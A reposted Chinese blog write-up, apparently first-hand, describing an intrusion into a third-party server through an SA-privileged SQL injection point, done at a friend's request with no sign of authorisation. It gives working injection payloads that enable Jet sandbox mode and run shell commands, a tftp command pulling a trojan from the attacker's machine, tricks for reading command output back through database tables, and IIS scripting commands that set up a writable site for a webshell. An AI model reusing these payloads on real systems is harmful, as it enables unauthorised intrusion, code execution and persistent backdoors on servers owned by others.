欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

记一次前所未有巧妙的Hacking入侵

程序员文章站 2022-04-06 15:53:43
那天,正在看资料,朋友丢了个URL过来,说是SA注入点,但数据库和WEB分离的,搞了半天没搞定.我一听,SA注入点,应该很容易的说,于是就很随意的说,OK,没问题,等会给结果~ ... 08-10-08...
那天,正在看资料,朋友丢了个url过来,说是sa注入点,但数据库和web分离的,搞了半天没搞定.我一听,sa注入点,应该很容易的说,于是就很随意的说,ok,没问题,等会给结果~ 手工大概的判断了下,的确是个sa注入点。判断过程偶就不写了,精彩的地方当然要留到后面啦操起nbsi这把大刀就开工了。首先尝试恢复xp_cmdshell和sp_oacreate两扩展存储,恢复后用两扩展存储随意执行了一个命令,但是从回显结果来判断,命令没有成功执行。于是又恢复xp_servicecontrol扩展存储,由于该扩展存储没有回显,偶就随意的echo了一个文件到一个指定目录 然后用列目录的功能把那目录列了一遍,但并未发现写入的文件。心想,应该是管理员把那几个常用的hacking扩展存储都给x了吧。不知道xp_regwrite扩展存储被x了没。于是乎,手工开启了沙盒模式
asp?idx=32;exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',0;--
然后尝试用沙盒模式往指定目录echo了个文件。 asp?idx=32 and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo xx >c:\xxx\xxx.txt")'))--
再用列目录的功能把该目录给列了一遍,发现echo命令执行成功!hoho,还好管理员没把这个扩展存储给x了。 有了可执行命令的扩展存储,就有了一线希望。于是想到直接用tftp up个马上去。。执行tftp -i ip get muma.exe c:\muma.exe发现一点反映也没有。
猜测可能被管理员限制或del了。于是写了一句话的下载vbs,执行后,老半天没发现我们的马儿,难道,难道他不对外访问? 于是,我又执行了ipcongfig命令,并echo到np.tmp临时文件。可是我们看不到echo的内容,怎么才能得到数据库服务器的ip呢?嘿嘿,想想,他nbsi为什么能回显呢?我们也可以那样做。 asp?idx=32;create table [np_icehack](resulttxt nvarchar(1024) null)-- //创建一个放回显内容的表 asp? idx=32 bulk insert [np_icehack] from 'np.tmp' with (keepnulls);insert into [np_icehack] values ('g_over');alter table [np_icehack] add id int not null identity (1,1)-- //以备份的形式把临时文件np.tmp的内容写入np_icehack表中 然后用nbsi直接把该表跑出来。没过一会,可爱的ip就浮现在我的面前。于是再操起nmap,一阵扫描。不过扫描结果有点意外。就开了个80。 难道数据库没分离?ping下域名其ip和得到的数据库ip是不一样的。不管三七二十一了,先访问再说。。马上打上ip访问。 发现一片空白,奇怪!于是再随意打上个目录,还是空白。傻眼了。这这。。。这端口根据nmap的判断是iis 5.0啊,难道误报? 突想,试下不就知道了。怎么个试法呢?嘿嘿,我用沙盒模式执行了net stop w3svc命令(停止整个web服务)。再访问80一看。yes,访问不到了。连那让人郁闷的空白页面也消失了。看来有戏,于是我再执行net start w3svc命令(启动整个web服务).再访问80一看,no web site is configured at this address.
呀,还有绑定域名,那不是可以做个虚拟目录。于是执行如下命令,查询了几个站点配置(把1依次往上加就可以看别的站点的配置情况) cmd /c cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/1/serverbindings
查看第一个虚拟web站点的邦定端口。这里的w3svc/1是iis:\ localhostw3svc/1的简写,而serverbindings是他的属性
还是用nbsi列出来,列到3时,发现其绑定了一个域名,于是执行如下命令,添加虚拟目录 cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/3/root/np "iiswebvirtualdir"
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/path "c:\":
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accessread 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accesswrite 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accessscript 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/enabledirbrowsing 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accesssource 1
添加后高兴的去访问那域名www.xxx.com/np/结果发现还是www.xxx.com的内容,怀疑没加成功,于是随便访问了一个目录,发现还是www.xxx.com的内容
难道是把所有的都转发到www.xxx.com???于是本地搭平台测试ing。。发现果然如自己所料,被转发了。
绝。。居然这样。。经过一段时间的思考,脑筋一转,心想:你不让我访问这个站,行。。我应承你,我自己建个站去,看你转。哼~
于是立即执行如下命令 cmd /c cscript c:\inetpub\adminscripts\mkw3site.vbs -r "c:\" -t "test" -c "localhost" -o "80" -h "netpatch.xx.com"
把自己的域名绑定该数据库服务器ip。再访问netpatch.xx.com hoho,终于可以了。
于是立即echo了一句话马上去,结束了这次hacing之旅. btw:其实,在此次的hacking中碰到很多问题,也查阅了许多相关资料,搭平台测试了n遍才测试ok的。并没有文章里那么顺利。难度在于,对方只开了80且把仅有的web给转发了,而且又不对外访问。